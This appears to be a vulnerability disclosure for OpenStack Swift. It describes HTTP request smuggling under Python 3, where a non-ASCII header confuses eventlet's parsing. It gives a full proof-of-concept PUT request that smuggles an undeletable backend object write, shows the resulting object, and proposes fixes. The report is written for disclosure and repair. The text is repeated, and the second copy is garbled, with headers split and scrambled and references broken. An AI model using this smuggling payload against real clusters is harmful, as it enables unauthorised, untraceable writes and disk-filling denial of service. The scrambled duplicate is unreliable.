Python 3 doesn't parse headers the same way as python 2 [1]. We attempt to address this failing [2], but since we're doing it at the application level, eventlet can still get confused about what should and should not be the request body.
Consider a client request like
PUT /v1/AUTH_test/c/o HTTP/1.1
Host: saio:8080
Content-Length: 4
Connection: close
X-Object-Meta-x-🌴: 👍
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Transfer-Encoding: chunked
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
A python 2 proxy-server will auth the user, add a bunch more headers, and send a request on to the object-servers like
(Note that the exact order of the headers will vary but is significant; the above was obtained on my machine with PYTHONHASHSEED=1.)
On a python 3 object-server, eventlet will only have seen the headers up to (and not including, though that doesn't really matter) the palm tree. Significantly, it sees `Content-Length: 4` (which, per the spec [3], the proxy-server ignored) and doesn't see either of `Connection: close` or `Transfer-Encoding: chunked`. The *application* gets all of the headers, though, so it responds
HTTP/1.1 100 Continue
and the proxy sends the body:
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
Since eventlet thinks the request body is only four bytes, swift writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the `Connection: close` header, it looks for and processes more requests on the socket, and swift writes a second object:
$ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
Path: /DUDE_u/r/pwned
Account: DUDE_u
Container: r
Object: pwned
Object hash: b05097e51f8700a3f5a29d93eb2941f2
Content-Type: text/evil
Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
System Metadata:
No metadata found
Transient System Metadata:
No metadata found
User Metadata:
No metadata found
Other Metadata:
No metadata found
ETag: 4034a346ccee15292d823416f7510a2f (valid)
Content-Length: 4 (valid)
Partition 705
Hash b05097e51f8700a3f5a29d93eb2941f2
...
There are a few things worth noting at this point:
1. This was for a replicated policy with encryption not enabled.
Having encryption enabled would mitigate this as the attack
payload would be encrypted; using an erasure-coded policy would
complicate the attack, but I believe most EC schemes would still
be vulnerable.
2. An attacker would need to know (or be able to guess) a device
name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
used was the maximum valid value, so no tombstone can be
written over it [4].
4. The account and container may not actually exist; it doesn't
really matter as no container update is sent. As a result, the
data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
be fairly trivial to craft a larger one; this has potential as
a DOS attack on a cluster by filling its disks.
The fix should involve at least things: First, after re-parsing headers, servers should make appropriate adjustments to environ['wsgi.input'] to ensure that it has all relevant information about the request body. Second, the proxy should not include a Content-Length header when sending a chunk-encoded request to the backend.
Python 3 doesn't parse headers the same way as python 2 [1]. We attempt to address this failing [2], but since we're doing it at the application level, eventlet can still get confused about what should and should not be the request body.
Consider a client request like
PUT /v1/AUTH_test/c/o HTTP/1.1 Meta-x- 🌴: 👍 d6af458a847f82e f9623d46a Encoding: chunked
Host: saio:8080
Content-Length: 4
Connection: close
X-Object-
X-Auth-Token: AUTH_tk71fece73
Transfer-
aa DUDE_u/ r/pwned HTTP/1.1 99999_fffffffff fffffff Storage- Policy- Index: 1
PUT /sdb1/0/
Content-Length: 4
X-Timestamp: 9999999999.
Content-Type: text/evil
X-Backend-
evil
0
A python 2 proxy-server will auth the user, add a bunch more headers, and send a request on to the object-servers like
PUT /sdb1/312/ AUTH_test/ c/o HTTP/1.1 Device: sdb2 Meta-X- 🌴: 👍 d6af458a847f82e f9623d46a octet-stream Storage- Policy- Index: 1 Partition: 61 saio:8080/ v1/AUTH_ test/c/ o Encoding: chunked 16c9cf2d- 005d570ac3 Clean-Expiring- Object- Queue: f
Accept-Encoding: identity
Expect: 100-continue
X-Container-
Content-Length: 4
X-Object-
Connection: close
X-Auth-Token: AUTH_tk71fece73
Content-Type: application/
X-Backend-
X-Timestamp: 1565985475.83685
X-Container-Host: 127.0.0.1:6021
X-Container-
Host: saio:8080
User-Agent: proxy-server 3752
Referer: PUT http://
Transfer-
X-Trans-Id: txef407697a8c14
X-Backend-
(Note that the exact order of the headers will vary but is significant; the above was obtained on my machine with PYTHONHASHSEED=1.)
On a python 3 object-server, eventlet will only have seen the headers up to (and not including, though that doesn't really matter) the palm tree. Significantly, it sees `Content-Length: 4` (which, per the spec [3], the proxy-server ignored) and doesn't see either of `Connection: close` or `Transfer-Encoding: chunked`. The *application* gets all of the headers, though, so it responds
HTTP/1.1 100 Continue
and the proxy sends the body:
aa DUDE_u/ r/pwned HTTP/1.1 99999_fffffffff fffffff Storage- Policy- Index: 1
PUT /sdb1/0/
Content-Length: 4
X-Timestamp: 9999999999.
Content-Type: text/evil
X-Backend-
evil
0
Since eventlet thinks the request body is only four bytes, swift writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the `Connection: close` header, it looks for and processes more requests on the socket, and swift writes a second object:
$ swift-object-info /srv/node1/ sdb1/objects- 1/0/*/* /9999999999. 99999_fffffffff fffffff. data 3f5a29d93eb2941 f2 20T17:46: 39.999990 (9999999999. 99999_fffffffff fffffff) 92d823416f7510a 2f (valid) 3f5a29d93eb2941 f2
Path: /DUDE_u/r/pwned
Account: DUDE_u
Container: r
Object: pwned
Object hash: b05097e51f8700a
Content-Type: text/evil
Timestamp: 2286-11-
System Metadata:
No metadata found
Transient System Metadata:
No metadata found
User Metadata:
No metadata found
Other Metadata:
No metadata found
ETag: 4034a346ccee152
Content-Length: 4 (valid)
Partition 705
Hash b05097e51f8700a
...
There are a few things worth noting at this point:
1. This was for a replicated policy with encryption not enabled.
Having encryption enabled would mitigate this as the attack
payload would be encrypted; using an erasure-coded policy would
complicate the attack, but I believe most EC schemes would still
be vulnerable.
2. An attacker would need to know (or be able to guess) a device
name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
used was the maximum valid value, so no tombstone can be
written over it [4].
4. The account and container may not actually exist; it doesn't
really matter as no container update is sent. As a result, the
data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
be fairly trivial to craft a larger one; this has potential as
a DOS attack on a cluster by filling its disks.
The fix should involve at least things: First, after re-parsing headers, servers should make appropriate adjustments to environ[ 'wsgi.input' ] to ensure that it has all relevant information about the request body. Second, the proxy should not include a Content-Length header when sending a chunk-encoded request to the backend.
[1] https:/ /bugs.python. org/issue37093 /github. com/openstack/ swift/commit/ 76fde8926 /tools. ietf.org/ html/rfc7230# section- 3.3.3 item 3 /github. com/openstack/ swift/commit/ f581fccf7
[2] https:/
[3] https:/
[4] https:/